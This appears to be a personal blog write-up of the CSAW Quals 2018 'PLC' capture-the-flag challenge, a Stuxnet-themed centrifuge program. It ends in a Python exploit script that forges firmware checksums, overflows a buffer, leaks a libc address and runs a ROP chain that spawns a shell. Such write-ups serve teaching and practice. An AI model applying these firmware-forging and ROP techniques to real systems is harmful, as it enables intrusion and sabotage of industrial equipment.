Security Engineer

Home About Resume Projects
18 September 2018

CSAW Quals 2018 | PLC Writeup

by adamt

CSAW PLC Writeup: Didn’t get to solve it during the actual competition, but definitely recommend giving it a shot, very fun challenge.

enjoy the flag flag{1s_thi5_th3_n3w_stuxn3t_0r_jus7_4_w4r_g4m3}

The challenge was basically a twist on the well known stuxnet virus. It contained 6 sections that built on each other and was a generally fun and interesting challenge.

Step 1

Execute the default firmware

By looking at the provide source code we can see that by entering E the program will execute the currently loaded firmware

Step 2

Create our own custom checksummed firmware

This was one of the harder/longer parts of the challenge. To solve this you had to reverse engineer both the custom shellcode used by the centrifuge system, and understand what each command does, as well as reverse engineer the checksum algorithm to digitally sign our own payloads.

Through spending hours stairing at the debugger and following the code flows of different inputs we managed to discover the following commands the firmware would accept

And for custom checksum, we ported the assembler code directly into python instead of trying to understand and recreate it from scratch.

Also a firmware must be 0x400 characters long and in the format of ‘FW’ + checksum + version + commands Where the version is 2 numbers (eg 12)

Step 3

Exceed Normal Centrifuge Speeds

With the knowledge gained from above, to spin the centrifuges to destruction, we enabled the RPM override, and then calling Increment RPM until the RPM was over a certain threshold. This was pretty trivial with our knowledge gained from the previous step.

Step 4

Specify some “extra” dangerous materials

This part of the challenge stumped me for over an hour, I didn’t know what it meant by "extra" dangerous materials. Using the knowledge from above we could rename the materials used in the centrifuge by converting a string “HELLO” > “2H2E2L2L2O”. Simplying putting the digit 2 between each char. We tried renaming the material to all sorts of things (yes i did google most dangerous nuclear material and other interesting items and yes I’m definetely on a watchlist somewhere) List of things we tried

Eventually someone in our team asked if we had tried specifying an extra long string…. nuff said, specify a string with like 100 character length and we get the points (no points just a tick yay)

Step 5

JK lol get flag and cat shell

Next step.
We had to put everything we had just learnt about this program, and try to somehow get shell.

I forgot to mention a few things..

We found that we were able to control RIP through a lethal call edx gadget. However this would only give us a single gadget in which we had to get shell.
The trick is to pivot the shell through a nice add rsp gadget into a different buffer we control.

The two buffers we control are

We can also get a leak because right after our name buffer, is a pointer to an address in libc. So if we fill our buffer with printable characters, we can print out the status/name of our centrifuge, and get an address leak.

With a libc leak the rop chain is trivial

So if we place the rop chain in our main buffer after “E”. The program only looks at the E and called execute, which will then execute our pivot gadget and pivot to our rop chain after the letter “E”. perfect.


14 hours of fun

My final python script

from interact import *
import struct
import time

# globals
WRITE = "2"
RPM_ADD = "7"
EXIT = "9"
DEBUG = "81"

p = Process()
time.sleep(5) #bugs?
# helper functions
def unpack(data, fmt="<Q"):
    return struct.unpack(fmt, data.ljust(8, "\x00"))[0]

def pack(data, fmt="<Q"):
    return struct.pack(fmt, data)

def toWriteCommand(string):
   return WRITE + WRITE.join(list(string))

def generate_checksum(string):
    count = 2
    scount = 0
    rbp10 = 0
    while count <= 0x1ff:
        eax = rbp10
        eax <<= 0xc
        edx = eax

        eax = rbp10
        eax >>= 0x4
        eax |= edx

        rbp10 = eax + (count & 0xffff)

        rbp10 &= 0xFFFF
        eax = ord(string[scount]) + 16*16*ord(string[scount+1])
        rbp10 ^= eax
        count += 1
        scount += 2

    return chr(rbp10 & 0xff) + chr(rbp10 >> 8)

def gen_fw(rpm, overflow):
    commands =  "12" # version
    commands += DEBUG
    commands += RPM_OVERRIDE # so no issues
    commands += toWriteCommand(overflow) # material cmd
    commands += (rpm * RPM_ADD) #overflow rpm
    commands += EXIT
    commands = commands.ljust(0x400 - 4, '\x00')
    # Checksum the above commands
    checksum = generate_checksum(commands)

    # return completed firmware
    return "FW" + checksum + commands

p.sendline("U") #upload firewarm
fw = gen_fw(63, "A" * 68 + "XXXXXXXX")
p.sendline("E") # execute firwware
p.sendline("S") # Show status for libc leak

print p.readuntil("XXXXXXXX") # Read until end of our payload
leak = unpack(p.readuntil("\n").strip())
libc_base = leak - 0x36ec0 #leak address and calc offset to base of libc
print "Libc leak ", hex(libc_base)

pivot = pack(libc_base + 0xc96a6) # add rsp, 0x38

rop = "A" * 15
rop += pack(libc_base + 0x21102) #pop rdi
rop += pack(libc_base + 0x18cd57) #binsh

rop += pack(libc_base + 0x33544) #pop rax
rop += pack(0x3b) #execve syscall

rop += pack(libc_base + 0x202e8) #pop rsi
rop += pack(0)

rop += pack(libc_base + 0x1b92) #pop rdx
rop += pack(0)

rop += pack(libc_base + 0xbc375) #syscall

p.sendline("U") #upload firmware
fw = gen_fw(80, ("X" * 68) + pivot)
p.sendline("E" + rop)